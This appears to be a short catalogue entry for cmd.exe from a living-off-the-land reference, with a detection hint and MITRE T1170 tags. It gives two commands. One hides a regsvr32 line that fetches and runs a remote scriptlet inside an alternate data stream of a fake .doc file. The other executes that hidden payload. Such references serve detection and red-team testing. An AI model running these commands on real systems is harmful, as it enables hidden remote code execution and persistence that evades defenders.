.. / Cmd.exe
Star

The command-line interpreter in Windows


Paths:


Resources:
https://twitter.com/yeyint_mth/status/1143824979139579904

Acknowledgement:
r0lan - @yeyint_mth


Detection:
cmd.exe executing files from alternate data streams.



Alternate data streams

Add content to an Alternate Data Stream (ADS).
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct ^scrobj.dll > fakefile.doc:payload.bat
Usecase:Can be used to evade defensive countermeasures or to hide as a persistence mechanism
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1170



Execute payload.bat stored in an Alternate Data Stream (ADS).
cmd.exe - < fakefile.doc:payload.bat
Usecase:Can be used to evade defensive countermeasures or to hide as a persistence mechanism
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1170